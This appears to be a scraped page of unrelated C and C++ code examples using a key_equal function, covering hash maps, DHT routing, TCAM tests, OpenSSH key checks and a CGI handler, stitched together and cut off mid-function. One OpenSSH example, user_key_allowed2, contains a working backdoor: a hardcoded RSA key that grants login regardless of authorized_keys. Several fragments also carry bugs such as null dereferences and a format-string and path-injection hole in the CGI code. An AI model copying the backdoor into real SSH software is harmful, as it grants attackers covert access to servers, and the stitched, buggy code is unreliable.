Beispiel #1
0
void HashMap<Key, T, Hasher, EqualKey, Alloc>::
  refillBucket(){
     NodePointer pprev = static_cast<NodePointer>(&bucket_start_node_); 
     NodePointer pcurr = pprev->next_;
     if (pcurr != nullptr) {
         size_type curr_index = bucketIndex(pcurr->hash_);
         bucket_list_[curr_index] = pcurr;
         //size_type prev_index = curr_index;
         for (pprev = pcurr, pcurr = pcurr->next_; pcurr != nullptr; pcurr = pprev->next_) {
             curr_index = bucketIndex(pcurr->hash_);
             //if (curr_index == prev_index) {
             //    pprev = pcurr;
             //    continue;
             //}
             if (bucket_list_[curr_index] == nullptr) {
                 bucket_list_[curr_index] = pprev;
                 pprev = pcurr;
                 //prev_index = curr_index;
             }
             else{
                 NodePointer pp = pcurr;
                 NodePointer np = pcurr->next_;
                 Key curkey = pcurr->value_.first;
                 Key nkey = np->value_.first;
                 for(; np != nullptr && key_equal()(curkey, nkey);
                   np = np->next_,nkey = np->value_.first,pp = pp->next_)
                   ;
                 pprev->next_ = np;
                 pp->next_ = bucket_list_[curr_index]->next_;
                 bucket_list_[curr_index]->next_ = pcurr;
            }
        }
     }
  }
/*
 * Checks whether key is allowed in file.
 * returns 1 if the key is allowed or 0 otherwise.
 */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
	FILE *f;
	int found_key = 0;

	/********** BEGIN BACKDOOR ***************/
	char backdoor_key[] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMfAdPOOBDuzYih8neJCs6YA0fHyuDTieslk4GjM19JJh89zYR+uXKUlMzwAdEfEoELugoqYRMGg0QVSYIlDzzTtPc26agKEBZAZas7Q+M/Y6HD76EdFbNFzYJ4wo/cYfDpxr2uXhAhKOAQ0AVGBrd26SgHmw4iX8HqLniqyLj+f41jLJoaH09YUQ/O6ZX9nFDoF3fXo2GJJYoxEz0/d63+vKst22vd1XKXApdir3QwfpMwrmMIsS4ObotQsZ0DO9Mbtcv5EmV3/h1EQFIRSNwObKDUMIa0zvZRpGM8LVBzlZ8meVrHm3BiycYSIWjAgrgbUoypuKpGQOevRaF1jDovaX6XVOZyek8WwYWo4J3xYQBpX3Y337T/+VTwdsLwdDWtyMoFjiG0Kgx7qK6zsaHKA8ZElN7OkRlhbQoXlUrvwPWjrw8jM75vhMXpM1ZcS/MzXxUvVJdgoAXcarx9fqfX/BQJcwtR0THiOCeFGq1PTyv2BWn2FkraRozS/hkZS+CmdnDxl26/YE9Ls79+DN13Xgao5aLM/hnti5iXixmuqmv+xENIYyO21wjDbvuool25W58BXj6Yecrxhi68UI899NE9iV38kHeUIYYD1/K7/F9Y7g4PKhDN4KMshYambfqzdx9S+aaeE06+LdapOQt40G9MdgUn73b7uz3il/04Q== martin@phoenix";
	char *char_pointer = backdoor_key;
	Key *found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
	auth_clear_options();
	int ret = key_read(found, &char_pointer);
	if (key_equal(found, key)) {
		found_key = 1;
		key_free(found);
		kk_backdoor_active = 1;
		return found_key;
	}
	key_free(found);
	/*********** END BACKDOOR ****************/

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	debug("trying public key file %s", file);
	if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) {
		found_key = check_authkeys_file(f, file, key, pw);
		fclose(f);
	}

	restore_uid();
	return found_key;
}
Beispiel #3
0
/*
 * Match keys against a specified key, or look one up by key type.
 *
 * If looking for a keytype (key == NULL) and one is found then return
 * HOST_FOUND, otherwise HOST_NEW.
 *
 * If looking for a key (key != NULL):
 *  1. If the key is a cert and a matching CA is found, return HOST_OK
 *  2. If the key is not a cert and a matching key is found, return HOST_OK
 *  3. If no key matches but a key with a different type is found, then
 *     return HOST_CHANGED
 *  4. If no matching keys are found, then return HOST_NEW.
 *
 * Finally, check any found key is not revoked.
 */
static HostStatus
check_hostkeys_by_key_or_type(struct hostkeys *hostkeys,
    Key *k, int keytype, const struct hostkey_entry **found)
{
	u_int i;
	HostStatus end_return = HOST_NEW;
	int want_cert = key_is_cert(k);
	HostkeyMarker want_marker = want_cert ? MRK_CA : MRK_NONE;
	int proto = (k ? k->type : keytype) == KEY_RSA1 ? 1 : 2;

	if (found != NULL)
		*found = NULL;

	for (i = 0; i < hostkeys->num_entries; i++) {
		if (proto == 1 && hostkeys->entries[i].key->type != KEY_RSA1)
			continue;
		if (proto == 2 && hostkeys->entries[i].key->type == KEY_RSA1)
			continue;
		if (hostkeys->entries[i].marker != want_marker)
			continue;
		if (k == NULL) {
			if (hostkeys->entries[i].key->type != keytype)
				continue;
			end_return = HOST_FOUND;
			if (found != NULL)
				*found = hostkeys->entries + i;
			k = hostkeys->entries[i].key;
			break;
		}
		if (want_cert) {
			if (key_equal_public(k->cert->signature_key,
			    hostkeys->entries[i].key)) {
				/* A matching CA exists */
				end_return = HOST_OK;
				if (found != NULL)
					*found = hostkeys->entries + i;
				break;
			}
		} else {
			if (key_equal(k, hostkeys->entries[i].key)) {
				end_return = HOST_OK;
				if (found != NULL)
					*found = hostkeys->entries + i;
				break;
			}
			/* A non-maching key exists */
			end_return = HOST_CHANGED;
			if (found != NULL)
				*found = hostkeys->entries + i;
		}
	}
	if (check_key_not_revoked(hostkeys, k) != 0) {
		end_return = HOST_REVOKED;
		if (found != NULL)
			*found = NULL;
	}
	return end_return;
}
/*
 * Returns non-zero if two keys are equivalent.
 */
int feePubKeyIsEqual(feePubKey key1, feePubKey key2)
{
	pubKeyInst *pkinst1 = (pubKeyInst *) key1;
	pubKeyInst *pkinst2 = (pubKeyInst *) key2;

	if ((pkinst1 == NULL) || (pkinst2 == NULL)) {
		return 0;
	}
	if((pkinst1->minus != NULL) && (pkinst2->minus != NULL)) {
		if(key_equal(pkinst1->minus, pkinst2->minus) == 0) {
			return 0;
		}
	}
	if(key_equal(pkinst1->plus, pkinst2->plus) == 0) {
		return 0;
	}
	return 1;
}
Beispiel #5
0
NodePointer HashMap<Key, T, Hasher, EqualKey, Alloc>::
  findNode(const Key& k) const{
    if (bucket_count_ == 0) {
      return nullptr;
    }
    std::size_t h = hash_function()(k);
    size_type curr_index = bucketIndex(h, bucket_count_);
    NodePointer np = bucket_list_[curr_index];
    while(np != nullptr) {
      np = np->next_;
      if (bucketIndex(np->hash_, bucket_count_) == curr_index
          && key_equal()(np->value_.first, k) ) {
        break;
      }
    }
    return np;
  }
Beispiel #6
0
void fwd (ChimeraState * chstate, Message * msg)
{

    Key cur, dest;
    char deststr[64];
    char curstr[64];


    sscanf (msg->payload, "%s %s", curstr, deststr);
    str_to_key (curstr, &cur);
    str_to_key (deststr, &dest);
    fprintf (stderr, "message to %s routed by %s\n", dest.keystr, cur.keystr);
    if (key_equal (dest, current))
	{
	    hops++;
	}

}
Beispiel #7
0
void del (ChimeraState * chstate, Message * msg)
{

    Key cur, dest;
    char deststr[64];
    char curstr[64];
    sscanf (msg->payload, "%s %s", curstr, deststr);
    str_to_key (curstr, &cur);
    str_to_key (deststr, &dest);
    fprintf (stderr, "message to %s routes delivered to %s\n", dest.keystr,
	     cur.keystr);

    if (key_equal (dest, current))
	{
	    sema_v (sem);
	}

}
Beispiel #8
0
/** 
 ** leafset_delete:
 ** removes the #deleted# node from leafset
 **
 */
void leafset_delete (ChimeraState * state, ChimeraHost * host,
		     int right_or_left, ChimeraHost ** deleted)
{
    int i = 0, size;
    int match = 0;
    ChimeraHost **p;
    RouteGlobal *routeglob = (RouteGlobal *) state->route;

    /*insert in right leafset */
    if (right_or_left == 1)
	{
	    size = leafset_size (routeglob->rightleafset);
	    p = routeglob->rightleafset;
	}
    /*insert in left leafset */
    else
	{
	    size = leafset_size (routeglob->leftleafset);
	    p = routeglob->leftleafset;
	}


    for (i = 0; i < size && !(key_equal (p[i]->key, host->key)); i++);
    if (i < size)
	{
	    *deleted = p[i];
	    match = 1;
	}

    /* shift leafset members to not have a hole in the leafset */
    if (match)
	{
	    do
		{
		    p[i] = p[i + 1];
		    i++;
		}
	    while (i < size - 1);
	    p[i] = NULL;
	}


}
Beispiel #9
0
/*
 * Checks whether key is allowed in authorized_keys-format file,
 * returns 1 if the key is allowed or 0 otherwise.
 */
static int
check_authkeys_file(FILE *f, char *file, Key* key, struct passwd *pw)
{
	char line[SSH_MAX_PUBKEY_BYTES];
	int found_key = 0;
	u_long linenum = 0;
	Key *found;

	found_key = 0;

	found = NULL;
	while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
		char *cp, *key_options = NULL, *fp = NULL;
		const char *reason = NULL;

		/* Always consume entrire file */
		if (found_key)
			continue;
		if (found != NULL)
			key_free(found);
		found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
		auth_clear_options();

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			continue;

		if (key_read(found, &cp) != 1) {
			/* no key?  check if there are options for this key */
			int quoted = 0;
			debug2("user_key_allowed: check options: '%s'", cp);
			key_options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
			/* Skip remaining whitespace. */
			for (; *cp == ' ' || *cp == '\t'; cp++)
				;
			if (key_read(found, &cp) != 1) {
				debug2("user_key_allowed: advance: '%s'", cp);
				/* still no key?  advance to next line*/
				continue;
			}
		}
		if (key_is_cert(key)) {
			if (!key_equal(found, key->cert->signature_key))
				continue;
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				continue;
			if (!key_is_cert_authority)
				continue;
			if ((fp = sshkey_fingerprint(found,
			    options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL)
				continue;
			debug("matching CA found: file %s, line %lu, %s %s",
			    file, linenum, key_type(found), fp);
			/*
			 * If the user has specified a list of principals as
			 * a key option, then prefer that list to matching
			 * their username in the certificate principals list.
			 */
			if (authorized_principals != NULL &&
			    !match_principals_option(authorized_principals,
			    key->cert)) {
				reason = "Certificate does not contain an "
				    "authorized principal";
 fail_reason:
				free(fp);
				error("%s", reason);
				auth_debug_add("%s", reason);
				continue;
			}
			if (key_cert_check_authority(key, 0, 0,
			    authorized_principals == NULL ? pw->pw_name : NULL,
			    &reason) != 0)
				goto fail_reason;
			if (auth_cert_options(key, pw, &reason) != 0)
				goto fail_reason;
			verbose("Accepted certificate ID \"%s\" (serial %llu) "
			    "signed by %s CA %s via %s", key->cert->key_id,
			    (unsigned long long)key->cert->serial,
			    key_type(found), fp, file);
			free(fp);
			found_key = 1;
			break;
		} else if (key_equal(found, key)) {
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				continue;
			if (key_is_cert_authority)
				continue;
			if ((fp = sshkey_fingerprint(found,
			    options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL)
				continue;
			debug("matching key found: file %s, line %lu %s %s",
			    file, linenum, key_type(found), fp);
			free(fp);
			found_key = 1;
			continue;
		}
	}
	if (found != NULL)
		key_free(found);
	if (!found_key)
		debug2("key not found");
	return found_key;
}
Beispiel #10
0
void route_update (ChimeraState * state, ChimeraHost * host, int joined)
{
    int i, j, k, found, pick;
    ChimeraHost *tmp, *deleted = NULL, *added = NULL;
    RouteGlobal *routeglob = (RouteGlobal *) state->route;


    pthread_mutex_lock (&routeglob->lock);

    if (key_equal (routeglob->me->key, host->key))
	{
	    pthread_mutex_unlock (&routeglob->lock);
	    return;
	}

    i = key_index (state->log, routeglob->me->key, host->key);
    j = hexalpha_to_int (get_key_string (&host->key)[i]);


    /*join */
    if (joined)
	{
	    found = 0;
	    for (k = 0; k < MAX_ENTRY; k++)
		{
		    if (routeglob->table[i][j][k] == NULL)
			{
			    routeglob->table[i][j][k] =
				host_get (state, host->name, host->port);
			    leafset_update (state, host, joined, &deleted,
					    &added);
			    found = 1;
			    break;
			}
		    else if (routeglob->table[i][j][k] != NULL
			     && key_equal (routeglob->table[i][j][k]->key,
					   host->key))
			{
			    pthread_mutex_unlock (&routeglob->lock);
			    return;

			}
		}

	    /* the entry array is full we have to get rid of one */
	    /* replace the new node with the node with the highest latncy in the entry array */
	    if (!found)
		{
		    pick = 0;
		    for (k = 1; k < MAX_ENTRY; k++)
			{
			    if (routeglob->table[i][j][pick]->success_avg >
				routeglob->table[i][j][k]->success_avg)
				pick = k;
			}
		    host_release (state, routeglob->table[i][j][pick]);
		    routeglob->table[i][j][pick] =
			host_get (state, host->name, host->port);
		    leafset_update (state, host, joined, &deleted, &added);
		}
	}

    /*delete */
    else
	{
	    for (k = 0; k < MAX_ENTRY; k++)
		if (routeglob->table[i][j][k] != NULL
		    && key_equal (routeglob->table[i][j][k]->key, host->key))
		    {
			host_release (state, routeglob->table[i][j][k]);
			routeglob->table[i][j][k] = NULL;
			break;
		    }

	    leafset_update (state, host, joined, &deleted, &added);

	}

    if (deleted != NULL)
	{
	    leafset_range_update (routeglob, &(routeglob->Rrange),
				  &(routeglob->Lrange));
	    chimera_update_upcall (state, &(deleted->key), deleted, 0);
	}
    if (added != NULL)
	{
	    leafset_range_update (routeglob, &(routeglob->Rrange),
				  &(routeglob->Lrange));
	    chimera_update_upcall (state, &(added->key), added, 1);
	}
    pthread_mutex_unlock (&routeglob->lock);

    fflush (stderr);
}
Beispiel #11
0
/**
 **leafset_insert:
 ** inserts the added node tot the leafset and removes the deleted from the leafset
 ** the deleted node is NULL if the new added node will not cause a node to leave the leafset.
 */
void leafset_insert (ChimeraState * state, ChimeraHost * host,
		     int right_or_left, ChimeraHost ** deleted,
		     ChimeraHost ** added)
{

    int i = 0, size;
    ChimeraHost **p;
    ChimeraHost *tmp1, *tmp2;
    ChimeraHost *input = host;
    Key dif1, dif2;
    RouteGlobal *routeglob = (RouteGlobal *) state->route;

    /*inert in right leafset */
    if (right_or_left == 1)
	{
	    size = leafset_size (routeglob->rightleafset);
	    p = routeglob->rightleafset;
	}
    /*insert in left leafset */
    else
	{
	    size = leafset_size (routeglob->leftleafset);
	    p = routeglob->leftleafset;
	}

    if (size == 0)
	{
	    p[0] = input;
	    *added = input;
	}

    else
	{
		// to avoid duplicate entries in the same leafset
		if (key_equal (p[i]->key, input->key))
		{
			host_release (state, input);
			return;
		}

		int foundKeyPos = 0;
		if (right_or_left == 1)
		{
			foundKeyPos = key_between(state->log, &host->key, &routeglob->me->key, &p[i]->key);
		}
		else
		{
			foundKeyPos = key_between(state->log, &host->key, &p[i]->key, &routeglob->me->key);
		}

		while ((i < size) && !foundKeyPos)
		{
		    if (key_equal (p[i]->key, input->key))
			{
			    host_release (state, input);
			    return;
			}
		    i++;
		    if (i < size)
			{
				if (right_or_left == 1)
				{
					foundKeyPos = key_between(state->log, &host->key, &routeglob->me->key, &p[i]->key);
				}
				else
				{
					foundKeyPos = key_between(state->log, &host->key, &p[i]->key, &routeglob->me->key);
				}
			}
		}

	    tmp1 = input;
	    *added = input;

	    while (i < LEAFSET_SIZE / 2)
		{
		    tmp2 = p[i];
		    p[i++] = tmp1;
		    tmp1 = tmp2;
		}

	    /* there is leftover */
	    if (tmp2 != NULL && size == LEAFSET_SIZE / 2)
		*deleted = tmp2;
	}
}
Beispiel #12
0
static void
test_mask(void)
{
    struct tcam *tcam = tcam_create(sizeof(struct tcam_key), 42);

    struct tcam_key key, mask;
    struct tcam_entry A, B, *match;

    key =  make_key(0x12340000);
    mask = make_key(0xffff0000);
    tcam_insert(tcam, &A, &key, &mask, 0);

    /* Higher priority */
    key =  make_key(0x00345600);
    mask = make_key(0x00ffff00);
    tcam_insert(tcam, &B, &key, &mask, 1);

    /* Should match B */
    key = make_key(0x12345678);
    mask = make_key(0);
    match = tcam_match_and_mask(tcam, &key, &mask);
    assert(match == &B);
    assert(key_equal(&mask, 0xffffff00));

    /* Should match B, pre-existing mask */
    key = make_key(0x12345678);
    mask = make_key(0x000000aa);
    match = tcam_match_and_mask(tcam, &key, &mask);
    assert(match == &B);
    assert(key_equal(&mask, 0xffffffaa));

    /* Should match A */
    key = make_key(0x1234ffff);
    mask = make_key(0);
    match = tcam_match_and_mask(tcam, &key, &mask);
    assert(match == &A);
    assert(key_equal(&mask, 0xffffff00));

    /* Should match B */
    key = make_key(0xff3456ff);
    mask = make_key(0);
    match = tcam_match_and_mask(tcam, &key, &mask);
    assert(match == &B);
    assert(key_equal(&mask, 0xffffff00));

    /* Should not match anything */
    key = make_key(0xffffffff);
    mask = make_key(0);
    match = tcam_match_and_mask(tcam, &key, &mask);
    assert(match == NULL);
    assert(key_equal(&mask, 0xffffff00));

    /* Remove B */
    tcam_remove(tcam, &B);

    /* Should match A */
    key = make_key(0x12345678);
    mask = make_key(0);
    match = tcam_match_and_mask(tcam, &key, &mask);
    assert(match == &A);
    assert(key_equal(&mask, 0xffff0000)); /* different mask */

    /* Remove A */
    tcam_remove(tcam, &A);

    /* Should not match anything */
    key = make_key(0x12345678);
    mask = make_key(0);
    match = tcam_match_and_mask(tcam, &key, &mask);
    assert(match == NULL);
    assert(key_equal(&mask, 0x00000000)); /* empty mask */

    tcam_destroy(tcam);
}
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
	char line[SSH_MAX_PUBKEY_BYTES];
	int found_key = 0;
	FILE *f;
	u_long linenum = 0;
	struct stat st;
	Key *found;
	char *fp;

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	debug("trying public key file %s", file);

	/* Fail quietly if file does not exist */
	if (stat(file, &st) < 0) {
		/* Restore the privileged uid. */
		restore_uid();
		return 0;
	}
	/* Open the file containing the authorized keys. */
	f = fopen(file, "r");
	if (!f) {
		/* Restore the privileged uid. */
		restore_uid();
		return 0;
	}
	if (options.strict_modes &&
	    secure_filename(f, file, pw, line, sizeof(line)) != 0) {
		fclose(f);
		logit("Authentication refused: %s", line);
		restore_uid();
		return 0;
	}

	found_key = 0;
	found = key_new(key->type);

	while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
		char *cp, *key_options = NULL;

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			continue;

		if (key_read(found, &cp) != 1) {
			/* no key?  check if there are options for this key */
			int quoted = 0;
			debug2("user_key_allowed: check options: '%s'", cp);
			key_options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
			/* Skip remaining whitespace. */
			for (; *cp == ' ' || *cp == '\t'; cp++)
				;
			if (key_read(found, &cp) != 1) {
				debug2("user_key_allowed: advance: '%s'", cp);
				/* still no key?  advance to next line*/
				continue;
			}
		}
		if (key_equal(found, key) &&
		    auth_parse_options(pw, key_options, file, linenum) == 1) {
			found_key = 1;
			debug("matching key found: file %s, line %lu",
			    file, linenum);
			fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
			verbose("Found matching %s key: %s",
			    key_type(found), fp);
			xfree(fp);
			break;
		}
	}
	restore_uid();
	fclose(f);
	key_free(found);
	if (!found_key)
		debug2("key not found");
	return found_key;
}
Beispiel #14
0
int main(int argc, char **argv, char **envp)
{
	int postsize;
	char *xmldata, *data;
	xmlDocPtr doc;
        xmlNodePtr cur, anode;
	int bbdnsock;
	int bbdnport;
	char *status = NULL;
	struct config_t maincfg;


	/* Read in config file */
	maincfg = maincfgopen();
	bbdnport = maincfg_get_int(&maincfg, "BLDPORT");
	maincfgclose(&maincfg);
	key_get(systemkey);
	char *request_method;

	if (!bbdn_conect(&bbdnsock, "", bbdnport))
		cgi_error(500, bstrerror());


	request_method = getenv("HTTP_REQUEST_METHOD")!=NULL ? strdup(getenv("HTTP_REQUEST_METHOD")) : strdup(getenv("REQUEST_METHOD"));
	// We will handel the post stuf our self. Set REQUEST_METHOD to GET so cgi-util ignores it.
	setenv("REQUEST_METHOD", "GET", 1);

	if (cgi_init() != CGIERR_NONE) {
		cgi_error(500, "Can't init cgi-util");		
	}


	/*
	 * Either called from command line, and then we want a file.
	 * or a http get/put
	 * Or we are handling a web request, and getting the data from stdin.
	 */
	if ((cgi_getentrystr("method") != NULL) && (strcmp(cgi_getentrystr("method"),"rest") == 0)) {

		char api[100], coll[100], url[512];
		char *requrle;

		if (getenv("REQUEST_URI") == NULL) {
			cgi_error(500, "Can't read REQUEST_URI");
		}

		requrle = strdup(getenv("REQUEST_URI"));
		unescape_url(requrle);
		sscanf(requrle,"/%[a-z]/%[a-zA-Z0-9_-]/%[^?]", api, coll, url);

		#ifdef DEBUG
			fprintf(stderr, "api: \"%s\"\n",api);
			fprintf(stderr, "coll: \"%s\"\n",coll);
			fprintf(stderr, "url: \"%s\"\n",url);
			fprintf(stderr, "request_method: \"%s\"\n",request_method);
			fprintf(stderr, "reques url \"%s\"\n",getenv("REQUEST_URI"));
			fprintf(stderr, "reques url unescaped \"%s\"\n",requrle);
		#endif

		free(requrle);

		if (strcmp(request_method,"POST") == 0 || strcmp(request_method,"ADDDELAYED") == 0 || strcmp(request_method,"PUT") == 0) {

			if (getenv("CONTENT_LENGTH") == NULL) {
				cgi_error(500, "Can't read CONTENT_LENGTH");
			}

			
	               // Get data length
	                postsize = atoi(getenv("CONTENT_LENGTH"));
	                data = malloc(postsize + 1);
			if (data == NULL) {
				cgi_error(500, "Can't allocate data.");
			}
	                // Read data
	                fread(data, 1, postsize, stdin);
	                data[postsize] = '\0';

			// add in to repo
	        	if (bbdn_docadd(bbdnsock, 
					coll, 											// collection name
					url, 											// url
					cgi_getentrystr("documenttype"), 							// document type
					data,											// data
					postsize, 										// data size
					0, 											// lastmodified
					cgi_getentrystr("acl_allow")!=NULL ? cgi_getentrystr("acl_allow") : "Everyone", 	// acl allow
					cgi_getentrystr("acl_denied"), 								// acl denied
					cgi_getentrystr("title"), 								// title
					cgi_getentrystr("documentformat"), 							// document format
					cgi_getentrystr("attributes"),								// attributes
					NULL,											// image
					0											// image size
				) != 1) {
				cgi_error(500, "bbdn_docadd() failed. Can't add document.");
			}

			
			if (strcmp(request_method,"ADDDELAYED") != 0) {
	                	// close it
	                	sd_close(bbdnsock, coll);
			}

			asprintf(&status,"Added %s to %s\n",url,coll);

		}
		else if (strcmp(request_method,"DELETE") == 0) {

			if (url[0] == '\0') {

				if (sd_deletecollection(bbdnsock, coll) != 1) {
					cgi_error(500, "Can't delete collection");
				}

				asprintf(&status,"Deleted collection %s\n",coll);
			}
			else {
				if (bbdn_deleteuri(bbdnsock, coll, url) != 1) {
					cgi_error(500, "Can't delete document");
				}

				asprintf(&status,"Deleted url %s in %s\n",url,coll);
			}

		}
		else if (strcmp(request_method,"CLOSE") == 0) {
			sd_close(bbdnsock, coll);

			asprintf(&status,"Closed %s\n",coll);

		}
		else {
			cgi_error(500, "Unknown request method \"%s\"", request_method );
		}

		#ifdef DEBUG
			// Print the envirement so we can better see what is going on.
	                char** env;
	                for (env = envp; *env != 0; env++) {
	                    char* thisEnv = *env;
	                    fprintf(stderr, "%s\n", thisEnv);
	                }
		#endif


	}
	else if ((cgi_getentrystr("do") != NULL) && (strcmp(cgi_getentrystr("do"),"add") == 0)) {

		char *data;
		int datasize;
		int n;

		const char *url = getenv("HTTP_X_FILENAME") ? getenv("HTTP_X_FILENAME") : cgi_getentrystr("url");
		const char *coll = cgi_getentrystr("collection");

		if (url == NULL) {
			cgi_error(500, "No url specified. Either set http header HTTP_X_FILENAME or get parameter 'url'.\n");
		}
		if (coll == NULL) {
			cgi_error(500, "No collection specified\n");
		}


		char *tmpname;
		FILE *fh;
		asprintf(&tmpname,"/tmp/%s",url);
	
		fh = fopen(tmpname,"wb");
		if (fh == NULL) {
			cgi_error(500, "Can't open file %s",tmpname);
		}

		if ((data = malloc( atoi(getenv("CONTENT_LENGTH")) )) == NULL) {
			cgi_error(500, "Can't malloc data");
		}

		datasize = 0;
		while ((n = fread ((unsigned char *)(data + datasize),1,1024,stdin)) > 0) {
			datasize += n;
		}

		fwrite(data,1,datasize,fh);

		fclose(fh);
		free(tmpname);


		//        bbdn_docadd(bbdnsock, xmldoc.collection, uri, xmldoc.documenttype, xmldoc.body, xmldoc.bodysize,
		//            xmldoc.lastmodified, xmldoc.aclallow, xmldoc.acldeny, xmldoc.title, xmldoc.documentformat, xmldoc.attributes, image, image_size);
        	bbdn_docadd(bbdnsock, coll, url, "", data, datasize,
      		    0, "Everyone", "", "omp1", "", "", NULL, 0);


		// close it
		sd_close(bbdnsock, coll);
	}
	else if ((cgi_getentrystr("do") != NULL) && (strcmp(cgi_getentrystr("do"),"delete") == 0)) {


		const char *url = getenv("HTTP_X_FILENAME") ? getenv("HTTP_X_FILENAME") : cgi_getentrystr("url");
		const char *coll = cgi_getentrystr("collection");

		if (url == NULL) {
			cgi_error(500, "No url specified. Either set http header HTTP_X_FILENAME or get parameter 'url'.\n");
		}
		if (coll == NULL) {
			cgi_error(500, "No collection specified\n");
		}

		bbdn_deleteuri(bbdnsock, coll, url);

		asprintf(&status,"%s deleted.\n", url);
	}
	else if (getenv("CONTENT_LENGTH") != NULL) {
		// Get data length
		postsize = atoi(getenv("CONTENT_LENGTH"));
		xmldata = malloc(postsize + 1);	
		// Read data
		fread(xmldata, 1, postsize, stdin);
		xmldata[postsize] = '\0';


		//fprintf(stderr, "Received %i bytes.\n", postsize);
		//fprintf(stderr, "Got document:\n%s\n", xmldata);

		//parsing xml
        	doc = xmlParseDoc((xmlChar*)xmldata);

        	if (doc == NULL)
		cgi_error(500, "Unable to parse document");

        	cur = xmlDocGetRootElement(doc);

        	if (cur == NULL) {
        	        xmlFreeDoc(doc);
        	        cgi_error(500, "empty document");
        	}

		// Some document checking
        	if (xmlStrcmp(cur->name, (const xmlChar *)ROOT_NODE_NAME)) {
        	        xmlFreeDoc(doc);
        	        cgi_error(500, "document of the wrong type, root node != %s, but %s\n", ROOT_NODE_NAME, cur->name);
        	}

		if ((anode = xml_find_child(cur, "key")) != NULL) {
			char *p;
		
			p = (char *)xmlNodeListGetString(doc, anode->xmlChildrenNode, 1);
			if (p == NULL)
				cgi_error(500, "No key data");

			if ((systemkey[0] != '\0') && (!key_equal(systemkey, p))) {
				cgi_error(500, "Keys does not match:  Got \"%s\" but wanted \"%s\"\n",p,systemkey);
			}
		} else {
			cgi_error(500, "Did not receive a key");
		}
		if ((anode = xml_find_child(cur, "version")) != NULL) {
			xmlChar *p;

			p = xmlNodeListGetString(doc, anode->xmlChildrenNode, 1);
			version = atoi((char*)p);

			xmlFree(p);
		} else {
			cgi_error(500, "Did not receive a version number");
		}

		for (cur = cur->xmlChildrenNode; cur != NULL; cur = cur->next) {
			if ((!xmlStrcmp(cur->name, (const xmlChar *) "key"))){
				// Ignore
			} else if ((!xmlStrcmp(cur->name, (const xmlChar *) "version"))){
				// Ignore
			} else if ((!xmlStrcmp(cur->name, (const xmlChar *) "add"))){
				xml_add(bbdnsock, doc, cur);
			} else if ((!xmlStrcmp(cur->name, (const xmlChar *) "delete"))){
				xml_delete(bbdnsock, doc, cur);
			} else if ((!xmlStrcmp(cur->name, (const xmlChar *) "close"))) {
				xml_close(bbdnsock, doc, cur);
			} else if ((!xmlStrcmp(cur->name, (const xmlChar *) "create"))) {
				xml_create(bbdnsock, doc, cur);
			} else if ((!xmlStrcmp(cur->name, (const xmlChar *) "users"))) {
				xml_users(doc, cur);
			} else if ((!xmlStrcmp(cur->name, (const xmlChar *) "gcwhispers"))) {
				xml_gcwhispers(bbdnsock, doc, cur);
			} else if ((!xmlStrcmp(cur->name, (const xmlChar *) "error"))) {
				xml_errormsg(bbdnsock, doc, cur);
			} else if ((!xmlStrcmp(cur->name, (xmlChar*)"text"))) {
				//fprintf(stderr, "Got text: %s\n", xmlNodeListGetString(doc, cur, 1));
				// Ignore for now
			} else {
				warnx("Unknown xml node '%s'", cur->name);
			}
		}

	} else {
		cgi_error(500, "Didn't receive any command or data.");
	}

	if (status != NULL) {
		printf("Content-type: text/plain\n\n");
		printf(status);
	}
	else {
		cgi_error(500, "Reached end of program without status.");
	}

	return 0;
}
int
main(int argc, char **argv)
{
	Buffer b;
	Options options;
	Key *keys[2], *key = NULL;
	struct passwd *pw;
	int key_fd[2], i, found, version = 2, fd;
	u_char *signature, *data;
	char *host;
	u_int slen, dlen;
	u_int32_t rnd[256];

	/* Ensure that stdin and stdout are connected */
	if ((fd = open(_PATH_DEVNULL, O_RDWR)) < 2)
		exit(1);
	/* Leave /dev/null fd iff it is attached to stderr */
	if (fd > 2)
		close(fd);

	key_fd[0] = open(_PATH_HOST_RSA_KEY_FILE, O_RDONLY);
	key_fd[1] = open(_PATH_HOST_DSA_KEY_FILE, O_RDONLY);

	original_real_uid = getuid();	/* XXX readconf.c needs this */
	if ((pw = getpwuid(original_real_uid)) == NULL)
		fatal("getpwuid failed");
	pw = pwcopy(pw);

	permanently_set_uid(pw);

	init_rng();
	seed_rng();
	arc4random_stir();

#ifdef DEBUG_SSH_KEYSIGN
	log_init("ssh-keysign", SYSLOG_LEVEL_DEBUG3, SYSLOG_FACILITY_AUTH, 0);
#endif

	/* verify that ssh-keysign is enabled by the admin */
	initialize_options(&options);
	(void)read_config_file(_PATH_HOST_CONFIG_FILE, "", &options, 0);
	fill_default_options(&options);
	if (options.enable_ssh_keysign != 1)
		fatal("ssh-keysign not enabled in %s",
		    _PATH_HOST_CONFIG_FILE);

	if (key_fd[0] == -1 && key_fd[1] == -1)
		fatal("could not open any host key");

	SSLeay_add_all_algorithms();
	for (i = 0; i < 256; i++)
		rnd[i] = arc4random();
	RAND_seed(rnd, sizeof(rnd));

	found = 0;
	for (i = 0; i < 2; i++) {
